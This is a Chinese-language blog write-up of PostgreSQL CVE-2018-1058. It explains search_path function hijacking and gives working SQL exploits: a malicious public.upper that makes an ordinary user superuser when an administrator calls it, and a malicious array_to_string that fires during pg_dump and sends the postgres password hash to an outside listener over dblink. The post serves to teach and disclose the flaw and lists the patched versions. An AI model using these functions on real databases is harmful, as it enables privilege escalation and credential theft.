PostgreSQL 遠程代碼執(zhí)行漏洞分析及利用—【CVE-2018-1058】

PostgreSQL 遠程代碼執(zhí)行漏洞分析及利用—【CVE-2018-1058】

0X01 What

Theory

A flaw was found in the way Postgresql allowed a user to modify the behavior of a query for other users. An attacker with a user account could use this flaw to execute code with the permissions of superuser in the database. Versions 9.3 through 10 are affected.

0x02 Where

Vulnerable software and versions

漏洞影響版本:https://www.securityfocus.com/bid/103221

0x03 How

Basic Env

PostgreSQL(win平臺)下載地址: PostgreSQL-9.6.7

$ psql -U postgres
postgres=# CREATE DATABASE vs0sv;
postgres=# CREATE USER vs0sv WITH PASSWORD 'vs0sv';
CREATE ROLE
postgres=# GRANT ALL PRIVILEGES ON DATABASE vs0sv to vs0sv;
GRANT
image.png

基本環(huán)境如下:

超級用戶:postgres
普通用戶:vs0sv
數(shù)據(jù)庫: heil
漏洞分析/利用

基本場景:
先看一些基本場景,該漏洞驗證時候,需要打開兩個窗口進行展示,分別是 vs0sv 普通用戶 和 postgres 超級管理員用戶:

$ psql -U vs0sv -d heil    --> 普通用戶vs0sv登錄命令后不加 ;
$ psql -U postgres         --> 超級管理員用戶登錄,超管能管所有表

分別通過SELECT SESSION_USER;獲知當前的會話用戶:

image.png
image.png

我們在public模式中創(chuàng)建一張表以及對應的字段:

image.png
CREATE TABLE public.test AS SELECT 'just test for fun' :: text AS test;

SELECT * FROM test;

緊接著進行查詢:

heil=> SELECT * FROM test;

接著我們新創(chuàng)建一個模式(schema),其模式名即為vs0sv,也即當前的SESSION_USER:

heil=> CREATE schema vs0sv;

然后在vs0sv模式中創(chuàng)建對應的表以及字段:

heil=> CREATE TABLE vs0sv.test AS SELECT 'i am vs0sv'::text AS test;

然后我們執(zhí)行跟上次相同的查詢語句:


heil=> SELECT * FROM test;
image.png

為什么兩次查詢出現(xiàn)了不同的結果呢?這個涉及到PostgreSQL的search_path。PostgreSQL 7.3后引入了schema的概念,稱之為模式或者架構,允許用戶在獨立的命名空間中創(chuàng)建不同的對象(比如table,function)。在默認情況下,比如剛剛創(chuàng)建的一個數(shù)據(jù)庫,都會有默認的一個public模式,在不做其他操作或者設定的情況下,諸如查詢等操作都是在這個public中進行查詢。

比如說:


SELECT * FROM test;

也即等價于:


SELECT * FROM public.test;

由于采用了獨立的命名空間,因此在用戶進行查詢時,倘若涉及到對相同名字但在不同schema中的對象操作時,必然需要考慮一定的順序。在PostgreSQL 9.6.7的官方文檔中,search_path (string)說明了相關場景中的相應匹配動作,截取部分如下:

When there are objects of identical names in different schemas, the one found first in the search path is used.

If one of the list items is the special name $user, then the schema having the name returned by SESSION_USER is substituted, if there is such a schema and the user has USAGE permission for it. (If not, $user is ignored.)

The system catalog schema, pg_catalog, is always searched, whether it is mentioned in the path or not. If it is mentioned in the path then it will be searched in the specified order. If pg_catalog is not in the path then it will be searched before searching any of the path items.

即:

  1. 首先適配原則,第一個找到的object被使用
  2. 名為$user的schema由SESSION_USER決定
  3. 如果pg_catalog不在path中則會最先查找它,如果在path中則按照指定順序查找

第1、2點即如前面所示,但PostgreSQL在對第3點的實現(xiàn)上出現(xiàn)了Design Error(securityfocus的分類),造成了代碼執(zhí)行漏洞。

Explotation

在Postgres的commit記錄中,有如下commit:

As special exceptions, the following client applications behave as documented
regardless of search_path settings and schema privileges: clusterdb
createdb createlang createuser dropdb droplang dropuser ecpg (not
programs it generates) initdb oid2name pg_archivecleanup pg_basebackup
pg_config pg_controldata pg_ctl pg_dump pg_dumpall pg_isready
pg_receivewal pg_recvlogical pg_resetwal pg_restore pg_rewind pg_standby
pg_test_fsync pg_test_timing pg_upgrade pg_waldump reindexdb vacuumdb
vacuumlo. Not included are core client programs that run user-specified
SQL commands, namely psql and pgbench.

上面的commit提到了兩類的client applications。下文的較為直觀的利用方式一是針對第二類client applications(比如psql),然后利用方式二是通過第一類client applications來執(zhí)行任意代碼,相比較下更為隱蔽。

Exploit 1

在系統(tǒng)schema pg_catalog中,定義了大量的函數(shù),用pgAdmin3查看:

image.png

以函數(shù)abs系列為例,接受一個類型為bigint\smallint\intger\real\double precision\numeric的參數(shù),返回其絕對值。倘若我們傳送一個非數(shù)值類型的參數(shù)呢,比如text,

vs0sv=> select abs('vs0sv');

由于并沒有參數(shù)類型為text的abs函數(shù),會直接報錯:

但postgres提供了自定義函數(shù)的功能!我們創(chuàng)建如下函數(shù):

CREATE FUNCTION public.abs(TEXT) RETURNS TEXT AS $$
     SELECT 'you are hacked by ' || $1;
$$ LANGUAGE SQL IMMUTABLE;

當我們再次執(zhí)行同樣的查詢語句,根據(jù)postgres的設計流程,它會先去查找系統(tǒng)schemapg_catalog,但由于參數(shù)類型不同沒有找到,接著按照search_path中的順序查找,而我們定義的abs(text)存在于schemapublic中,參數(shù)符合,因此pg理所當然地執(zhí)行了我們(vs0sv)定義的函數(shù):

image.png

注意一個點,這個函數(shù)是定義在schemapublic中的,也就是說對于進入到這個數(shù)據(jù)庫的任何用戶,只要他們調(diào)用了abs,且參數(shù)為text,都有可能會誘發(fā)惡意的代碼執(zhí)行。比如以超級用戶postgres執(zhí)行:

image.png

不過有誰會傻乎乎的去運行一個莫名其妙的abs(text)呢?因此真正的攻擊手段是將過程隱藏到看似正常的數(shù)據(jù)庫查詢中。這次我們選擇schemapg_catalog中的另外一類函數(shù)比如lower(text),upper(text),它們分別將text類型的參數(shù)轉(zhuǎn)成小寫和大寫,不過系統(tǒng)沒有提供接受varchar參數(shù)的lower和upper,盡管可以進行類型轉(zhuǎn)換,但對pg而言,最好的選擇當然是參數(shù)類型恰好符合的惡意自定義函數(shù)。

創(chuàng)建一個表,值的類型為varchar:

CREATE TABLE public.hahahaha AS SELECT 'vs0sv'::varchar AS contents;

創(chuàng)建對應的惡意函數(shù):

CREATE FUNCTION public.lower(varchar) RETURNS TEXT AS $$
     SELECT 'you are hacked by ' || $1;
$$ LANGUAGE SQL IMMUTABLE;

對絕大部分用戶而言,他們可能看大寫的VS0SV不爽,然后執(zhí)行了lower函數(shù),但在不知道/清楚類型的情況下,他們執(zhí)行的是public中的惡意自定義函數(shù)。

image.png

只能打印you are hacked by XXX有毛用??!由于惡意自定義函數(shù)可以被超級用戶調(diào)用到,因此也就有了相應的執(zhí)行權限,最簡單的比如提權。

先來看看權限情況(以超級用戶為例),可以看到只有postgres的rolsuper是t,即true:

image.png

在用戶vs0sv登陸進vs0sv數(shù)據(jù)庫后,他創(chuàng)建了如下upper函數(shù):

CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
    ALTER ROLE vs0sv SUPERUSER;
    SELECT pg_catalog.upper($1);
$$ LANGUAGE SQL VOLATILE;

注意這里是VOLATILE,具體原因參考 官方文檔: xfunc-volatility

另外一張table,小寫的vs0sv:

CREATE TABLE public.hehehehe AS SELECT 'vs0sv'::varchar AS contents;

管理員一看,心中不爽:小寫小寫就知道小寫,然后:

看上去一切正常,大寫的大寫?;氐接脩魐s0sv處,查看一下權限:

image.png

vs0sv已經(jīng)成為超級用戶 :)

利用方法有很多,理論上只要能創(chuàng)建惡意函數(shù),管理員調(diào)用,就是以管理員身份去執(zhí)行惡意sql語句/代碼。在這種情況中,如commit所說Not included are core client programs that run user-specified SQL commands, namely psql and pgbench.,被攻擊用戶是知道自己執(zhí)行的sql語句,只是其中的某個function意義被掉包了。

Exploit 2

安裝完PostgreSQL后還會有一系列的工具,比如pg_dump、pg_dumpall等等?;诶梅绞揭唬趧?chuàng)建了惡意函數(shù)的基礎之上,可以通過這些工具來執(zhí)行惡意函數(shù)。這些工具在執(zhí)行過程中會動態(tài)設定search_path,導致public的優(yōu)先級比pg_catalog高,也就是說即使是在相同類型相同參數(shù)相同函數(shù)名的情況下,會選擇public中的函數(shù)。相比第一種而言隱蔽性更強,同時有更高的可觸發(fā)性。

為利用pg_dump中的sql語句,可以利用log來觀察執(zhí)行過程。在superuser的權限下show log_directory;找到log目錄,將目錄下postgresql.conf中的約莫455行改為log_statement = all。重啟PostgreSQL后,使用pg_dump工具執(zhí)行備份命令:

pg_dump -U postgres -f heil.bak heil

同時觀察log輸出,查找statement: SET search_path =,最后在某處我發(fā)現(xiàn)了一段這樣的log:

image.png

可以看到在這段log中,有一處的array_to_string是沒有指定schema的。在系統(tǒng)schema中它的定義如下:

image.png

在這里由于已經(jīng)設定了search_path,為了能直接適配,這里創(chuàng)建的惡意函數(shù)的參數(shù)個數(shù)和類型都必須和pg_catalog中定義的相同,倘若不同則會按順序匹配到正確的函數(shù)。

因為pg_dump在運行過程中開啟的是read only transaction,根據(jù)官方文檔

The transaction access mode determines whether the transaction is read/write or read-only. Read/write is the default. When a transaction is read-only, the following SQL commands are disallowed: INSERT, UPDATE, DELETE, and COPY FROM if the table they would write to is not a temporary table; all CREATE, ALTER, and DROP commands; COMMENT, GRANT, REVOKE, TRUNCATE; and EXPLAIN ANALYZE and EXECUTE if the command they would execute is among those listed. This is a high-level notion of read-only that does not prevent all writes to disk.

是不允許執(zhí)行下類操作的:

  1. INSERT, UPDATE, DELETE, COPY FROM
  2. all CREATE, ALTER, and DROP commands
  3. COMMENT, GRANT, REVOKE, TRUNCATE; and EXPLAIN ANALYZE and EXECUTE if the command they would execute is among those listed

不過并沒有禁止select語句。如果開啟了dblink,則可以利用查詢來帶出數(shù)據(jù),比如用dblink_connect。因此我們創(chuàng)建這樣的一個惡意函數(shù):

CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
    select dblink_connect((select 'hostaddr=192.168.248.132 port=12345 user=postgres password=vs0sv sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); 
    SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;

遠程vps上監(jiān)聽:

nc -lvv 12345

當管理員進行數(shù)據(jù)庫備份時:

pg_dump -U postgres -f vs0sv.bak vs0sv
image.png

即可得到管理員密碼: 別問我為什么盜圖,因為沒錢買vps,原理大致相同吧,這里要感謝chybeta表哥以圖相贈啦!

image.png

0x04 Fix it

以下版本修復了該漏洞

PostgreSQL PostgreSQL 9.6.8 
PostgreSQL PostgreSQL 9.5.12 
PostgreSQL PostgreSQL 9.4.17 
PostgreSQL PostgreSQL 9.3.22

0x05 Knowledgeable p0int

  • 一定要在postgreSQL路徑下開兩個窗口:一個是postgres超管的,一個是vs0sv普通用戶的。
  • postgreSQL語法大全 :外連接數(shù)據(jù)庫命令不需要最后帶分號
  • 如何查看數(shù)據(jù)庫當前用戶
  • 如何用postgreSQL查看系統(tǒng)中的所有用戶
  • pgadmin4下載

0x06 Thanks for Bro,Reference

chybeta

?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容